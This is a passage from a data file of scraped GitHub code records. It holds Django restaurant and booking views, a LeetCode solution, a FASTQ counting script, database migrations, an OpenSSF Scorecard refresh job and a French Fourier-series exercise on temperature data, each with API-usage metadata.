"json.dumps", "line_number": 25, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 26, "usage_type": "call"}, {"api_name": "time.time", "line_number": 31, "usage_type": "call"}, {"api_name": "time.time", "line_number": 36, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 44, "usage_type": "call"}, {"api_name": "time.time", "line_number": 52, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 78, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 82, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 95, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 97, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 106, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 108, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 118, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 123, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 145, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 147, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 169, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 171, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 181, "usage_type": "call"}]} {"seq_id": "36511170014", "text": "from .OptionInfo import OptionInfo\nfrom .Image import Image\nfrom typing import List\n\n\nclass CarouselItem(dict):\n \"\"\"\n {\n 'optionInfo': {\n object(OptionInfo)\n },\n 'title': string,\n 'description': string,\n 'image': {\n object(Image)\n }\n }\n \"\"\"\n\n def __init__(self, title: str = '', description: str = '', image: Image = None, option_info: OptionInfo = None):\n super(CarouselItem, self).__init__()\n\n if option_info is not None:\n self['optionInfo'] = option_info\n\n if image is not None:\n self['image'] = image\n\n if title is not None:\n self['title'] = title\n\n if description is not None:\n self['description'] = description\n\n def add_option_info(self, key: str, synonyms: List[str]) -> OptionInfo:\n self['optionInfo'] = OptionInfo(key=key, synonyms=synonyms)\n return self['optionInfo']\n\n def add_image(self, url: str, accessibility_text: str = '', height: int = 0, width: int = 0) -> Image:\n self['image'] = Image(url=url, accessibility_text=accessibility_text, height=height, width=width)\n return self['image']\n", "repo_name": "mayankberi1/GoogleActions", "sub_path": "CarouselItem.py", "file_name": "CarouselItem.py", "file_ext": "py", "file_size_in_byte": 1177, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "Image.Image", "line_number": 20, "usage_type": "name"}, {"api_name": "OptionInfo.OptionInfo", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 35, "usage_type": "name"}, {"api_name": "OptionInfo.OptionInfo", "line_number": 36, "usage_type": "call"}, {"api_name": "OptionInfo.OptionInfo", "line_number": 35, "usage_type": "name"}, {"api_name": "Image.Image", "line_number": 40, "usage_type": "call"}, {"api_name": "Image.Image", "line_number": 39, "usage_type": "name"}]} {"seq_id": "36634778267", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom webpage.models import restaurant, restaurant_menu\nfrom django.contrib.auth.decorators import login_required\nfrom myreview.models import Review\n# Create your views here.\n# @login_required(login_url='login')\ndef index(request):\n \"\"\" หน้าหลักแสดงร้านอาหารที่มีทั้งหมด \"\"\"\n\n # เป็นตัวแปรเพื่อรับค่าค้นหานั้นมา (Frame)\n search_restaurant = request.GET.get('search_restaurant', '')\n # เป็นตัวแปรที่ดึงข้อมูลจาก models restaurant (Frame)\n restaurantfo = restaurant.objects.all()\n\n # ถ้ามีการค้นหาจะเรียกเงื่อนไขนี้มาทำแล้วแสดงข้อมูลตาม keyword ที่หาไป (Frame)\n if request.method == 'GET':\n if search_restaurant != '':\n restaurantfo = restaurant.objects.filter(restaurant_name__icontains=search_restaurant)\n \n # แปลงเพื่อไปใช้บนหน้า html (Frame)\n context = {\n 'search_restaurant': search_restaurant,\n 'resinfo': restaurantfo\n }\n return render(request, 'webpage/index.html', context=context)\n\ndef index_type(request, type_id):\n \"\"\" แสดงตามประเภท \"\"\"\n # เป็นตัวแปรเพื่อรับค่าค้นหานั้นมา (Frame)\n search_restaurant = request.GET.get('search_restaurant', '')\n # เป็นตัวแปรที่ดึงข้อมูล models restaurant ที่เอาข้อมูลแค่ประเภทของร้านอาหารนั้นๆ (Frame)\n restaurantfo = restaurant.objects.filter(restaurant_type_id_id=type_id)\n\n if request.method == 'GET':\n if search_restaurant != '':\n restaurantfo = restaurant.objects.filter(restaurant_name__icontains=search_restaurant)\n # แปลงเพื่อไปใช้บนหน้า html (Frame)\n context = {\n 'search_restaurant': search_restaurant,\n 'resinfo': restaurantfo\n }\n return render(request, 'webpage/index.html', context=context)\n\n\n# หน้ารายละเอียดนี่ยังไม่ได้ทำนะครับ (Frame)\ndef res_detail(request, restaurant_id):\n \"\"\" ดูรายละเอียดข้องร้านอาหาร และ มีปุ่มจองร้านอาหาร \"\"\"\n if request.method == \"POST\":\n review = request.POST.get('review', '')\n print(review)\n if review != '':\n reviewjing = Review.objects.create(comment=review,user=request.user,restaurant_id=restaurant_id)\n\n \n review_list = Review.objects.filter(restaurant__id = restaurant_id)\n review_count = len(review_list)\n restaurantdt = restaurant.objects.get(pk=restaurant_id)\n menushow = restaurant_menu.objects.filter(restaurant_id_id=restaurant_id)\n context = {\n 'restaurantdt': restaurantdt,\n 'menushow': menushow,\n 'review_list': review_list,\n 'review_count': review_count,\n }\n return render(request, 'webpage/detail.html', context=context)", "repo_name": "Vacharavat/LetsEatLatkrabang", "sub_path": "mysite/webpage/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3363, "program_lang": "python", "lang": "th", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "webpage.models.restaurant.objects.all", "line_number": 14, "usage_type": "call"}, {"api_name": "webpage.models.restaurant.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "webpage.models.restaurant", "line_number": 14, "usage_type": "name"}, {"api_name": "webpage.models.restaurant.objects.filter", "line_number": 19, "usage_type": "call"}, {"api_name": "webpage.models.restaurant.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "webpage.models.restaurant", "line_number": 19, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 26, "usage_type": "call"}, {"api_name": "webpage.models.restaurant.objects.filter", "line_number": 33, "usage_type": "call"}, {"api_name": "webpage.models.restaurant.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "webpage.models.restaurant", "line_number": 33, "usage_type": "name"}, {"api_name": "webpage.models.restaurant.objects.filter", "line_number": 37, "usage_type": "call"}, {"api_name": "webpage.models.restaurant.objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "webpage.models.restaurant", "line_number": 37, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 43, "usage_type": "call"}, {"api_name": "myreview.models.Review.objects.create", "line_number": 53, "usage_type": "call"}, {"api_name": "myreview.models.Review.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "myreview.models.Review", "line_number": 53, "usage_type": "name"}, {"api_name": "myreview.models.Review.objects.filter", "line_number": 56, "usage_type": "call"}, {"api_name": "myreview.models.Review.objects", "line_number": 56, "usage_type": "attribute"}, {"api_name": "myreview.models.Review", "line_number": 56, "usage_type": "name"}, {"api_name": "webpage.models.restaurant.objects.get", "line_number": 58, "usage_type": "call"}, {"api_name": "webpage.models.restaurant.objects", "line_number": 58, "usage_type": "attribute"}, {"api_name": "webpage.models.restaurant", "line_number": 58, "usage_type": "name"}, {"api_name": "webpage.models.restaurant_menu.objects.filter", "line_number": 59, "usage_type": "call"}, {"api_name": "webpage.models.restaurant_menu.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "webpage.models.restaurant_menu", "line_number": 59, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 66, "usage_type": "call"}]} {"seq_id": "6378774709", "text": "from typing import List\n\n\nclass NumArray:\n\n def __init__(self, nums: List[int]):\n res_count = []\n num = 0\n for i in range(len(nums)):\n num += nums[i]\n res_count.append(num)\n self.res_count = res_count\n\n def sumRange(self, left: int, right: int) -> int:\n if left == 0:\n return self.res_count[right]\n else:\n return self.res_count[right] - self.res_count[left - 1]\n\n# *****\n# class NumArray:\n#\n# def __init__(self, nums):\n# self.sums = [0]\n# for i in nums:\n# self.sums.append(self.sums[-1] + i)\n#\n# def sumRange(self, left: int, right: int) -> int:\n# _sums = self.sums\n# return _sums[right + 1] - _sums[left]\n\n\nif __name__ == '__main__':\n s = NumArray([-2, 0, 3, -5, 2, -1])\n print(s.sumRange(2, 5))\n", "repo_name": "leader1010/LeetCode", "sub_path": "303. 区域和检索 - 数组不可变.py", "file_name": "303. 区域和检索 - 数组不可变.py", "file_ext": "py", "file_size_in_byte": 847, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}]} {"seq_id": "39618082503", "text": "\"\"\"Import required object classes needed for views to function as intended\ni.e. render views, get objects,get model and get form\"\"\"\nfrom datetime import date\nfrom django.shortcuts import render, get_object_or_404\nfrom django.views import View\nfrom .forms import BookingForm\nfrom .models import BookingInformation\n\n\nclass HomePage(View):\n \"\"\"This will display the home view\"\"\"\n def get(self, request):\n \"\"\"This function will handle get requests for this view\"\"\"\n return render(request, \"online_booking/index.html\")\n\n\nclass CreateBooking(View):\n \"\"\"This will display the create booking view\"\"\"\n def get(self, request):\n \"\"\"This function will handle get requests for this view\n and allocate the form to render\"\"\"\n booking_form = {\n \"booking_form\": BookingForm()\n }\n\n return render(\n request,\n \"online_booking/create_booking.html\",\n booking_form\n )\n\n def post(self, request):\n \"\"\"This function will handle post requests for this view, allocate\n which form to render, specify what to do if the form is valid and\n what information to send to the template as its context\"\"\"\n booking_form = BookingForm(data=request.POST)\n\n if booking_form.is_valid():\n booking_form.instance.username = request.user.username\n booking_form.save()\n else:\n booking_form = BookingForm()\n\n bookings = BookingInformation.objects.all()\n context = {\n 'bookings': bookings\n }\n\n return render(request,\n \"online_booking/view_booking.html\", context\n )\n\n\nclass ViewBooking(View):\n \"\"\"This will display the view booking view\"\"\"\n\n def get(self, request):\n \"\"\"This function will handle post requests for this view\n and what information to send to the template as its context\"\"\"\n bookings = BookingInformation.objects.all()\n context = {\n 'bookings': bookings\n }\n return render(request, \"online_booking/view_booking.html\", context)\n\n\nclass EditBooking(View):\n \"\"\"This will display the create booking view\"\"\"\n def get(self, request, booking_id):\n \"\"\"This function will handle get requests for this view, allocate\n a booking entry identifier and allocate which form to render as\n well as allocate which entry to edit\"\"\"\n booking_identifier = get_object_or_404(BookingInformation,\n id=booking_id)\n edit_form = {\n \"edit_form\": BookingForm(instance=booking_identifier)\n }\n return render(request, \"online_booking/edit_booking.html\", edit_form)\n\n def post(self, request, booking_id):\n \"\"\"This function will handle post requests for this view, allocate\n which form to render, specify what to do if the form is valid and\n what information to send to the template as its context\"\"\"\n edit_form = BookingForm(data=request.POST)\n\n if edit_form.is_valid():\n edit_form.instance.username = request.user.username\n edit_form.instance.pk = booking_id\n edit_form.save()\n else:\n edit_form = BookingForm()\n\n bookings = BookingInformation.objects.all()\n context = {\n 'bookings': bookings\n }\n\n return render(\n request,\n \"online_booking/view_booking.html\", context\n )\n\n\nclass DeleteBooking(View):\n \"\"\"This view will allow the user to delete his booking\"\"\"\n def get(self, request, booking_id):\n \"\"\"This function will handle get requests for this view, allocate\n a booking entry identifier, allocate which entry to delete and\n what information to send to the template\"\"\"\n booking_identifier = get_object_or_404(BookingInformation,\n id=booking_id)\n booking_identifier.delete()\n\n bookings = BookingInformation.objects.all()\n context = {\n 'bookings': bookings\n }\n\n return render(\n request,\n \"online_booking/view_booking.html\", context\n )\n\n\nclass ViewBookingEmployee(View):\n \"\"\"This function will display the home page\"\"\"\n\n def get(self, request):\n \"\"\"This function will display the home page\"\"\"\n today = date.today()\n bookings = BookingInformation.objects.filter(date=today)\n context = {\n 'bookings': bookings,\n }\n return render(request, \"online_booking/view_booking.html\", context)\n", "repo_name": "Joao4569/ocean-basket-restaurant", "sub_path": "online_booking/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4639, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.views.View", "line_number": 10, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 14, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 17, "usage_type": "name"}, {"api_name": "forms.BookingForm", "line_number": 23, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 26, "usage_type": "call"}, {"api_name": "forms.BookingForm", "line_number": 36, "usage_type": "call"}, {"api_name": "forms.BookingForm", "line_number": 42, "usage_type": "call"}, {"api_name": "models.BookingInformation.objects.all", "line_number": 44, "usage_type": "call"}, {"api_name": "models.BookingInformation.objects", "line_number": 44, "usage_type": "attribute"}, {"api_name": "models.BookingInformation", "line_number": 44, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 49, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 54, "usage_type": "name"}, {"api_name": "models.BookingInformation.objects.all", "line_number": 60, "usage_type": "call"}, {"api_name": "models.BookingInformation.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "models.BookingInformation", "line_number": 60, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 64, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 67, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 73, "usage_type": "call"}, {"api_name": "models.BookingInformation", "line_number": 73, "usage_type": "argument"}, {"api_name": "forms.BookingForm", "line_number": 76, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 78, "usage_type": "call"}, {"api_name": "forms.BookingForm", "line_number": 84, "usage_type": "call"}, {"api_name": "forms.BookingForm", "line_number": 91, "usage_type": "call"}, {"api_name": "models.BookingInformation.objects.all", "line_number": 93, "usage_type": "call"}, {"api_name": "models.BookingInformation.objects", "line_number": 93, "usage_type": "attribute"}, {"api_name": "models.BookingInformation", "line_number": 93, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 98, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 104, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 110, "usage_type": "call"}, {"api_name": "models.BookingInformation", "line_number": 110, "usage_type": "argument"}, {"api_name": "models.BookingInformation.objects.all", "line_number": 114, "usage_type": "call"}, {"api_name": "models.BookingInformation.objects", "line_number": 114, "usage_type": "attribute"}, {"api_name": "models.BookingInformation", "line_number": 114, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 119, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 125, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 130, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 130, "usage_type": "name"}, {"api_name": "models.BookingInformation.objects.filter", "line_number": 131, "usage_type": "call"}, {"api_name": "models.BookingInformation.objects", "line_number": 131, "usage_type": "attribute"}, {"api_name": "models.BookingInformation", "line_number": 131, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 135, "usage_type": "call"}]} {"seq_id": "40192728229", "text": "import argparse, os\n\ndef evaluate_data(fdir):\n\n f_list = [f for f in os.listdir(fdir) if os.path.isfile(f'{fdir}/{f}')]\n \n total = 0\n\n for i, file in enumerate(f_list):\n\n print(f'{file}: {i+1:03}')\n line_count = 0\n\n with open(f'{fdir}/{file}', 'r') as f:\n for l in f:\n line_count += 1\n if line_count%4 == 0:\n total += len(l.rstrip())\n\n print(f'Total Bases\\t{total}')\n\ndef main():\n\n # Configure Argument Parser\n parser = argparse.ArgumentParser(\n description=__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter\n )\n parser.add_argument(\n '-fdir', '--file_directory',\n help='Please specify the directory of fastq files!',\n metavar='',\n type=str,\n required=True\n )\n args=vars(parser.parse_args())\n\n fdir = args['file_directory']\n\n if fdir[-1] == '/': fdir = fdir[:-1]\n\n evaluate_data(fdir)\n\nif __name__ == \"__main__\":\n main()", "repo_name": "rotheconrad/00_Scripts_General", "sub_path": "Fastq/Fastq_Count_BasePairs_Directory.py", "file_name": "Fastq_Count_BasePairs_Directory.py", "file_ext": "py", "file_size_in_byte": 1015, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.listdir", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 25, "usage_type": "call"}, {"api_name": "argparse.RawDescriptionHelpFormatter", "line_number": 27, "usage_type": "attribute"}]} {"seq_id": "20180968193", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('hpy01', '0008_auto_20160614_1227'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='QQGrouphpy',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('name', models.CharField(max_length=64)),\n ('brief', models.TextField(max_length=1024, default='nothing')),\n ('members_limit', models.IntegerField(default=200)),\n ('admin', models.ManyToManyField(to='hpy01.UserProfilehpy', related_name='qq_admimn')),\n ('founder', models.ForeignKey(to='hpy01.UserProfilehpy')),\n ('members', models.ManyToManyField(to='hpy01.UserProfilehpy', related_name='qqmembers')),\n ],\n ),\n ]\n", "repo_name": "huangpingyi/Web-QQ", "sub_path": "webqq/migrations/0001_initial.py", "file_name": "0001_initial.py", "file_ext": "py", "file_size_in_byte": 966, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}]} {"seq_id": "71660140062", "text": "#!/usr/bin/python\n\n# Refreshes security reviews from the authoritative source code repository.\n\nimport collections\nimport json\nimport logging\nimport os\nimport re\nimport subprocess\n\nimport dateutil\nimport requests\nfrom dateutil.parser import parse\nfrom packageurl.contrib import purl2url, url2purl\n\nfrom .Base import BaseJob\n\n\nclass RefreshScorecard(BaseJob):\n \"\"\"\n Refreshes data from the OpenSSF Scorecard project.\n \"\"\"\n\n _payload = {}\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n def execute_complete(self):\n \"\"\"\n Loads data from the public data collected by the OpenSSF Scorecard project.\n \"\"\"\n logging.info(\"Gathering all scorecard data.\")\n try:\n payloads = []\n\n res = requests.get(\n \"https://storage.googleapis.com/ossf-scorecards/latest.json\", timeout=120\n )\n if res.status_code != 200:\n logging.warning(\"Failure fetching latest JSON: %s\", res.status_code)\n return\n\n for line in res.text.splitlines():\n try:\n data = json.loads(line)\n except Exception as msg:\n logging.warning(\"Invalid JSON: [%s]\", line)\n continue\n\n package_url = url2purl.url2purl(\"https://\" + data.get(\"Repo\"))\n if not package_url:\n logging.warning(\n \"Unable to identify Package URL from repository: [%s]\", data.get(\"Repo\")\n )\n continue\n\n date_ = parse(data.get(\"Date\"))\n\n for check in data.get(\"Checks\", []):\n check_name = check.get(\"CheckName\").lower().strip()\n payload = {\n \"package_url\": str(package_url),\n \"operation\": \"replace\",\n \"key\": f\"openssf.scorecard.raw.{check_name}\",\n \"values\": [{\"value\": str(check.get(\"Pass\")).lower(), \"properties\": check}],\n }\n payloads.append(payload)\n res = requests.post(self.METRIC_API_ENDPOINT, json=payloads, timeout=120)\n if res.status_code == 200:\n logging.info(\"Success: %s\", res.text)\n else:\n logging.warning(\"Failure: status code: %s\", res.status_code)\n\n except Exception as msg:\n logging.warn(\"Error: %s\", msg)\n\n def execute(self):\n \"\"\"\n Calculates the scorecard value from a Docker container.\n \"\"\"\n logging.info(\"Gathering scorecard data for [%s]\", str(self.package_url))\n\n source_repo = self.get_source_repository()\n if not source_repo:\n return\n\n token = self.get_api_token(\"github\")\n if not token:\n logging.warning(\"Unable to retrieve Github token.\")\n return\n\n try:\n result = subprocess.run(\n f'docker run --rm -it --env \"GITHUB_AUTH_TOKEN={token}\" docker.io/library/scorecard --repo={source_repo} --format json',\n shell=True,\n stdout=subprocess.PIPE,\n )\n scorecard_output = result.stdout.decode(\"utf-8\")\n scorecard_output = scorecard_output[scorecard_output.find(\"{\") :]\n js = json.loads(scorecard_output)\n\n payloads = []\n\n for check in js.get(\"Checks\", []):\n check_name = check.get(\"CheckName\", \"\").lower().strip()\n if not check_name:\n continue\n pass_value = str(check.get(\"Pass\", False)).lower()\n\n payload = {\n \"package_url\": str(self.package_url),\n \"operation\": \"replace\",\n \"key\": f\"openssf.scorecard.raw.{check_name}\",\n \"values\": [{\"value\": pass_value, \"properties\": check}],\n }\n payloads.append(payload)\n\n res = requests.post(self.METRIC_API_ENDPOINT, json=payloads, timeout=120)\n if res.status_code == 200:\n logging.info(\"Success: %s\", res.text)\n else:\n logging.warning(\"Failure: status code: %s\", res.status_code)\n\n except Exception as msg:\n logging.warn(\"Error processing Scorecard data: %s\", msg)\n raise\n\n\nif __name__ == \"__main__\":\n processor = RefreshScorecard(package_url=sys.argv[1])\n processor.execute()\n", "repo_name": "ossf/Project-Security-Metrics", "sub_path": "src/metrics/Scorecard.py", "file_name": "Scorecard.py", "file_ext": "py", "file_size_in_byte": 4500, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 60, "dataset": "github-code", "pt": "7", "api": [{"api_name": "Base.BaseJob", "line_number": 20, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 34, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 38, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 42, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 47, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 49, "usage_type": "call"}, {"api_name": "packageurl.contrib.url2purl.url2purl", "line_number": 52, "usage_type": "call"}, {"api_name": "packageurl.contrib.url2purl", "line_number": 52, "usage_type": "name"}, {"api_name": "logging.warning", "line_number": 54, "usage_type": "call"}, {"api_name": "dateutil.parser.parse", "line_number": 59, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 70, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 72, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 74, "usage_type": "call"}, {"api_name": "logging.warn", "line_number": 77, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 83, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 91, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 95, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 98, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 102, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 120, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 122, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 124, "usage_type": "call"}, {"api_name": "logging.warn", "line_number": 127, "usage_type": "call"}]} {"seq_id": "24759719405", "text": "\"\"\"empty message\n\nRevision ID: afe50b8a7822\nRevises: d516996dee73\nCreate Date: 2019-05-29 22:21:05.607261\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'afe50b8a7822'\ndown_revision = 'd516996dee73'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint('m2m_authors_ibfk_2', 'm2m_authors', type_='foreignkey')\n op.create_foreign_key(None, 'm2m_authors', 'books', ['book_id'], ['id'])\n op.drop_constraint('m2m_categories_ibfk_1', 'm2m_categories', type_='foreignkey')\n op.create_foreign_key(None, 'm2m_categories', 'books', ['book_id'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'm2m_categories', type_='foreignkey')\n op.create_foreign_key('m2m_categories_ibfk_1', 'm2m_categories', 'users', ['book_id'], ['id'])\n op.drop_constraint(None, 'm2m_authors', type_='foreignkey')\n op.create_foreign_key('m2m_authors_ibfk_2', 'm2m_authors', 'users', ['book_id'], ['id'])\n # ### end Alembic commands ###\n", "repo_name": "IrynaSamoilenko/library", "sub_path": "migrations/versions/afe50b8a7822_.py", "file_name": "afe50b8a7822_.py", "file_ext": "py", "file_size_in_byte": 1181, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "alembic.op.drop_constraint", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "alembic.op.create_foreign_key", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 22, "usage_type": "name"}, {"api_name": "alembic.op.drop_constraint", "line_number": 23, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 23, "usage_type": "name"}, {"api_name": "alembic.op.create_foreign_key", "line_number": 24, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 24, "usage_type": "name"}, {"api_name": "alembic.op.drop_constraint", "line_number": 30, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 30, "usage_type": "name"}, {"api_name": "alembic.op.create_foreign_key", "line_number": 31, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 31, "usage_type": "name"}, {"api_name": "alembic.op.drop_constraint", "line_number": 32, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 32, "usage_type": "name"}, {"api_name": "alembic.op.create_foreign_key", "line_number": 33, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 33, "usage_type": "name"}]} {"seq_id": "42470784323", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 17 10:06:42 2020\n\n@author: elvinagovendasamy\n\"\"\"\n\nimport numpy as np\nfrom numpy.fft import fft,ifft\nimport matplotlib.pyplot as plt\nfrom math import pi\nimport pandas as pd\nfrom scipy.linalg import dft\n\n\n# Exercice 1 - \n\n# =============================================================================\n# Question a\n# =============================================================================\n\n\nmeteo1=pd.read_csv('meteo.csv',sep=';').loc[:,'Temperature']\ntemp=meteo1[0:25] # temp est une serie, on ne peut prend que les 25 premieres lignes\ntemp=temp.astype({'Temperature':float})\n\nx = range(25)\n\nplt.plot(x,temp)\n\n# =============================================================================\n# Question b)\n# =============================================================================\n\n#on a choisi N=25, et e= 1mesure/h donc f= 1.1e-5 Hz\n#les fréquences complexes sont donc [-12f,...,-f,0,f,...,12f]\n#on calcul les coefficients associés à ces fréquences\n\n\n#Fonction renvoyant le matrice de fourier et la matrice inverse de fourier\n\ndef MatriceFourrier(d):\n M = dft(d, scale = 'n') #matrice de Fourier du cours\n M_inv = np.conj(d*M)\n return(M,M_inv)\n \nM = MatriceFourrier(25)[0]\nM_inverse = MatriceFourrier(25)[1]\n\ncoefficients= np.dot(M,temp) #attention à l'ordre des coefs, le premier est c0 puis c1 jusqu'à c12 puis c-12 jusqu'à c-1\n\n\n\n# =============================================================================\n# Question c) A BIEN COMPRENDRE\n# =============================================================================\n# On veut la temperature à l'heure\n# Les frequences sont toujours en secondes\n# Alors on a 60*60 = 3600 secondes\n# On a e=1/3600 = 2.78e-4\n# Nf=e\n#f=e/N =(1/3600)/25\n\n\nf=(1/3600)/25\nprint(f)\nliste_freq= np.array([k*f for k in range(13)]+[k*f for k in range(-12,0)])\n\ndef temperature(t,coeff):\n freq=2*np.pi*1j*3600*t*liste_freq\n vect_exp=np.exp(freq)\n valeurs=np.dot(coeff,vect_exp)\n signal_real=np.real(valeurs)\n return (signal_real)\n\n\n# =============================================================================\n# Question d) A BIEN COMPRENDRE\n# =============================================================================\n\ntime=np.linspace(0,25,100)\n\nsignal=[temperature(t,coefficients) for t in time]\nvalues=[temperature(t_,coefficients) for t_ in x]\n\n\n\n\n# for t in x:\n# values.append(temperature(t,coefficients))\n\n \nplt.scatter(x,values,c='r',s=5)\nplt.plot(time,signal,c='green')\n \n\n# =============================================================================\n# Question e) A FAIRE\n# =============================================================================\n\n\n\n \n \n \n \n \n ", "repo_name": "elvinaeury/Signal", "sub_path": "TP4_Signal.py", "file_name": "TP4_Signal.py", "file_ext": "py", "file_size_in_byte": 2762, "program_lang": "python", "lang": "fr", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": 